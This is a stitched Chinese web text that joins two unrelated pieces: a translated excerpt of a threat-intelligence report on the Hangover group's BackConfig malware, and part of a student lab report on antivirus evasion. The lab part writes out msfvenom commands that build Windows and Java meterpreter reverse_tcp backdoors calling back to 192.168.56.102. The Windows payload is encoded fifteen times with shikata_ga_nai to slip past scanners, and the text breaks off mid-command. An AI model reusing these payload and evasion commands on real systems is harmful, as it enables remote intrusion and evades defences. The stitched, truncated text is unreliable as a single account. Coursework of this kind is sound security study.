virustotal

原文： Updated BackConfig Malware Targeting Government and Military Organizations in South Asia 译者：知道创宇404实验室翻译组 摘要 Unit 42安全团队在过去4个月里观察到了Hangover组织(又名Neon, Viceroy Tiger, MONSOON)使用的BackConfig恶意软件的活动。该组织使用鱼叉式钓鱼攻击，目标包括南亚的政府和军事组织。 BackConfig定制木马具有灵活的插件架构，用于提供各种特性的组件，包括收集系统和键盘记录信息以及上传和执行额外payload的能力。 最初，感染是通过一个武器化的Microsoft Excel (XLS)文档发生的，该文档通过受感染的合法网站发布，url很可能是通过电子邮件共享的。这些文档使用Visual Basic for Applications (VBA)宏代码，如果受害者启用了这些宏代码，就会启动一个由多个组件组成的安装过程，从而导致插件加载程序payload被下载和执行。模块化的特性当然允许对单个组件进行更快的更改，而且对于攻击者来说可能更重要的是，能够阻止沙箱和动态分析系统的方式拆分恶意行为，尤其是在单独分析组件时。 我们基于WildFire的威胁预防平台可以检测到与此组织相关的活动，同时更新PAN-DB

2018-2019-2 网络对抗技术 20165334 Exp3 免杀原理与实践 一、实验内容 任务一正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，利用shellcode编程等免杀工具或技巧 1、使用msf编码器，生成exe文件 使用exp2中生产的后门程序 20165334_backdoor.exe 利用 VirusTotal 网站进行扫描检测。 20165334_backdoor.exe 利用 Virscan 网站进行扫描检测。 -使msf编码器对后门程序进行多次的编码，并检测。 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b ‘\x00’ LHOST=192.168.56.102 LPORT=5334 -f exe > met-lt5334l.exe 用使用virscan进行扫描，结果如下所示 msfvenom生成jar文件 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=5334 x> ltl_backdoor_java.jar 用使用virscan进行扫描，结果如下所示 msfvenom生成php文件 msfvenom -p php